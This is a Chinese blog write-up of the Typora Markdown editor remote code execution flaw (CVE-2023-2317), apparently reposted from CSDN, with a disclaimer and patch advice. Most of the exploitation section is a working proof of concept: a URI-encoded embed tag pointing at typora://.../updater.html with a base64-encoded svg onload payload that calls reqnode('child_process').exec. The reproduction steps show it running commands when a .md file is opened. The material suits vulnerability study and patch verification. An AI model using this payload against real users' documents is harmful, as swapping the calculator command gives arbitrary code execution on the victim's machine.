Typora 远程代码执行漏洞

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一、产品介绍

Typora 是一款由 Abner Lee 开发的轻量级 Markdown 编辑器,与其他 Markdown 编辑器不同的是,Typora 没有采用源代码和预览双栏显示的方式,而是采用所见即所得的编辑方式,实现了即时预览的功能,但也可切换至源代码编辑模式。

二、漏洞概述

原因:typora协议

Typora内部实现了typora://协议,可以用于Typora访问特定文件。

Typora 1.6.7之前版本存在安全漏洞,该漏洞源于通过在标签中加载 typora://app/typemark/updater/update.html ,可以在Typora主窗口中加载JavaScript代码。

三、漏洞利用

<script src="typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js" charset="UTF-8"></script>

这个访问为例,lib.asar位于Typora安装目录的resources文件夹下,而updater.html位于Typora安装目录的updater文件下,所以使用typora://协议访问updater.html应该这样写:

typora://app/typemark/updater/updater.html?a=xxx&b=xxx&c=xxx

构建payload

根据常规思路,我们应该require库child_process然后调用exec参数,但是typora内没有定义require函数,而是使用reqnode函数代替:

因此,Windows环境下的payload可以这样写:

reqnode('child_process').exec("calc")

包在svg标签里实现页面加载:

<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>

为了同时在Windows环境和Linux环境生效,我们可以这么写payload:

<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>

最后对releaseNoteLink、lables两个参数做URI编码,最终Poc为:

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

base64解码

四、漏洞复现

当在Typora中加载此PoC时,使用DOM-XSS Payload加载updater.html,有效负载在主窗口上执行JavaScript代码,执行系统命令。具体操作如下:

1.下载部署有漏洞版本环境,这里部署版本为

Typora for Windows 1.5.12(下方百度云盘里有安装包)

链接:https://pan.baidu.com/s/12SMngr3Ks3D_OJ1KO17Zgw?pwd=i13d 
提取码:i13d

tips:下载后需要激活,如果只是想复现的话可以不激活

2.新建md文件,写入poc代码,注意类型为html

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

3.然后打开文件,将进行命令执行。

成功弹出计算器


4.测试视频

上传到平台就好模糊啊,大家将就看吧##

Typora命令执行:CVE-2023-2317

五、修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://support.typora.io/What's-New-1.6/https://buaq.net/go-175535.html?utm_source=feedly

猜你喜欢

转载自blog.csdn.net/qq_56698744/article/details/132755730